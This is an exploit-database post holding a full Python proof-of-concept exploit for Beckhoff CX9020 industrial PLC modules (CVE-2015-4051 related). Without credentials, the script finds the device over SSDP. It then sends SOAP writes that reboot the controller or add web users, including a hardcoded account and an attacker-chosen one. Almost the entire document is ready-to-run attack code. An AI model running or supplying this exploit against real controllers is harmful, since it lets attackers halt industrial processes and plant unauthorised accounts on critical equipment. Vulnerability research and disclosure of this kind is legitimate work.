Beckoff CX9020 CPU Model Remote Code Execution
Posted on 24 October 2015
#! /usr/bin/env python # Exploit Title: Beckhoff CX9020 CPU Module Web Exploit (RCE) # Date: 2015-10-22 # Exploit Author: Photubias - tijl[dot]deneut[at]howest[dot]be, based on work by Frank Lycops (frank.lycops@thesecurityfactory.be) # Vendor Homepage: https://www.beckhoff.com/english.asp?embedded_pc/cx9020.htm # Version: TwinCat UpnpWebsite < 3.1.4018.13, fixed with ftp://ftp.beckhoff.com/software/embPC-Control/CX90xx/CX9020/CE/TC3/CX9020_CB3011_WEC7_HPS_v602i_TC31_B4018.13.zip # Tested on: Python runs on any Windows or Linux # CVE : CVE-2015-4051 (similar to this CVE, but different service IPC Diagnostics Authentication <> Web Authentication) Copyright 2015 Photubias(c) Written for Howest(c) University College, Ghent University, XiaK This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. File name CX9020-WebControl.py written by tijl[dot]deneut[at]howest[dot]be This POC allows to reboot any CX9020 PLC and add random (Web) users to be configured. -> Test by going to http://<IP>/config (redirects to http://<NAME>:5120/UpnpWebsite/index.htm) -> Default credentials are guest/1 and webguest/1, but this exploit works without credentials -> Verify Website version by logging into http://<IP>/config and clicking "TwinCAT" ''' import sys, httplib, socket, re, base64 ## Defining Functions first: def rebootMachine(UNS, IP, IO): ## This is the SOAP Message: SoapMessage = "<?xml version="1.0" encoding="utf-8"?><s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">" SoapMessage += "<s:Body><u:Write xmlns:u="urn:beckhoff.com:service:cxconfig:1"><netId></netId><nPort>0</nPort><indexGroup>0</indexGroup>" SoapMessage += "<IndexOffset>-" + IO + "</IndexOffset>" SoapMessage += "<pData>AQAAAAAA</pData></u:Write></s:Body></s:Envelope>" ## Construct and send the HTTP POST header rebootwebservice = httplib.HTTP(IP + ":5120") rebootwebservice.putrequest("POST", "/upnpisapi?uuid:" + UNS + "+urn:beckhoff.com:serviceId:cxconfig") rebootwebservice.putheader("Host", IP + ":5120") rebootwebservice.putheader("User-Agent", "Tijls Python Script") rebootwebservice.putheader("Content-type", "text/xml; charset=utf-8") rebootwebservice.putheader("Content-length", "%d" % len(SoapMessage)) rebootwebservice.putheader("SOAPAction", "urn:beckhoff.com:service:cxconfig:1#Write") rebootwebservice.endheaders() rebootwebservice.send(SoapMessage) ## Get the response statuscode, statusmessage, header = rebootwebservice.getreply() if statuscode == 200: print "Exploit worked, device should be rebooting!" return 1 else: print "Something went wrong, the used index is probably wrong? This is the response code:" ## Printing HTTP Response code res = rebootwebservice.getfile().read() print res return 0 #print "Response: ", statuscode, statusmessage #print "headers: ", header def addUser(UNS, IP, PDATA, IO): ## This is the SOAP Message: SoapMessage = '<?xml version="1.0" encoding="utf-8"?><s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">' SoapMessage += '<s:Body><u:Write xmlns:u="urn:beckhoff.com:service:cxconfig:1"><netId></netId><nPort>0</nPort><indexGroup>0</indexGroup>' SoapMessage += '<IndexOffset>-' + IO + '</IndexOffset>' SoapMessage += '<pData>' + PDATA + '</pData></u:Write></s:Body></s:Envelope>' ## Construct and send the HTTP POST header rebootwebservice = httplib.HTTP(IP + ":5120") rebootwebservice.putrequest("POST", "/upnpisapi?uuid:" + UNS + "+urn:beckhoff.com:serviceId:cxconfig") rebootwebservice.putheader("Host", IP + ":5120") rebootwebservice.putheader("User-Agent", "Tijls Python Script") rebootwebservice.putheader("Content-type", "text/xml; charset=utf-8") rebootwebservice.putheader("Content-length", "%d" % len(SoapMessage)) rebootwebservice.putheader("SOAPAction", "urn:beckhoff.com:service:cxconfig:1#Write") rebootwebservice.endheaders() rebootwebservice.send(SoapMessage) ## Get the response statuscode, statusmessage, header = rebootwebservice.getreply() if statuscode == 200: print "Exploit worked, user is added!" return 1 else: print "Something went wrong, the used index is probably wrong? This is the response code:" ## Printing HTTP Response code res = rebootwebservice.getfile().read() print res return 0 #print "Response: ", statuscode, statusmessage #print "headers: ", header def addOwnUser(UNS, IP, IO): ## This will prompt for username and password and then create the custom pData string USERNAME = raw_input("Please enter the username: ") PASSWORD = raw_input("Please enter the password: ") CONCATENATED = USERNAME + PASSWORD # Creating the Full String to encode FULLSTRING = chr(16+len(CONCATENATED)) FULLSTRING += chr(0)+chr(0)+chr(0) FULLSTRING += chr(len(USERNAME)) FULLSTRING += chr(0)+chr(0)+chr(0)+chr(0)+chr(0)+chr(0)+chr(0) FULLSTRING += chr(len(PASSWORD)) FULLSTRING += chr(0)+chr(0)+chr(0) FULLSTRING += CONCATENATED # Encode a first time, but we don't want any '=' signs in the encoded version PDATA = base64.b64encode(FULLSTRING) if PDATA.endswith('='): FULLSTRING += chr(0) PDATA = base64.b64encode(FULLSTRING) if PDATA.endswith('='): FULLSTRING += chr(0) PDATA = base64.b64encode(FULLSTRING) # Now we have the correct PDATA string print 'We will use this string: '+PDATA return addUser(UNS, IP, PDATA, IO) def is_ipv4(ip): match = re.match("^(d{0,3}).(d{0,3}).(d{0,3}).(d{0,3})$", ip) if not match: return False quad = [] for number in match.groups(): quad.append(int(number)) if quad[0] < 1: return False for number in quad: if number > 255 or number < 0: return False return True ###### START PROGRAM ####### if not len(sys.argv) == 2: IP = raw_input("Please enter the IPv4 address of the Beckhoff PLC: ") else: IP = sys.argv[1] if not is_ipv4(IP): print "Please go read RFC 791 and then use a legitimate IPv4 address." sys.exit() ## Initialize variables UNS = '' ActiveRebootIndOff = '1329528576' # Active means active Engineering Licenses (when PLC has been programmed less than a week ago) InactiveRebootIndOff = '1330577152' ActiveUserIndOff = '1339031296' InactiveUserIndOff = '1340079872' print 'Finding the unique UNS (UUID) of the target system (' + IP + '), hold on... ' DISCOVERY_MSG = ('M-SEARCH * HTTP/1.1 ' + 'HOST: 239.255.255.250:1900 ' + 'MAN: "ssdp:discover" ' + 'MX: 3 ' + 'ST: upnp:rootdevice ' + ' ') SOCK = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) SOCK.settimeout(10) SOCK.sendto(DISCOVERY_MSG, (IP, 1900)) try: RESPONSE = SOCK.recv(1000).split(' ') except: print 'Something went wrong, is the system online? Try opening http://' + IP + ':5120/config ' raw_input('Press Enter to continue...') sys.exit(0) for LINE in RESPONSE: if ':uuid' in LINE: UNS = LINE[9:45] print 'Got it: ' + LINE[9:45] + ' ' SOCK.close() if not UNS: print ' Problem finding UNS, this is full SSDP response: ' for LINE in RESPONSE: print LINE input('Press Enter to continue...') sys.exit(0) else: print 'Let's go, choose your option:' print '1 = reboot PLC' print '2 = add user tijl with password xiak' print '3 = add user from your choosing' usr_input = raw_input('Select a number: ') if usr_input == '1': if not rebootMachine(UNS, IP, InactiveRebootIndOff): rebootMachine(UNS, IP, ActiveRebootIndOff) raw_input('Press Enter to continue...') elif usr_input == '2': if not addUser(UNS, IP, 'GAAAAAQAAAAAAAAABAAAAHRpamx4aWFr', InactiveUserIndOff): addUser(UNS, IP, 'GAAAAAQAAAAAAAAABAAAAHRpamx4aWFr', ActiveUserIndOff) raw_input('Press Enter to continue...') elif usr_input == '3': if not addOwnUser(UNS, IP, InactiveUserIndOff): addOwnUser(UNS, IP, ActiveUserIndOff) raw_input('Press Enter to continue...') else: print 'Please choose a sensible input next time, exiting.' input('Press Enter to continue...') sys.exit()
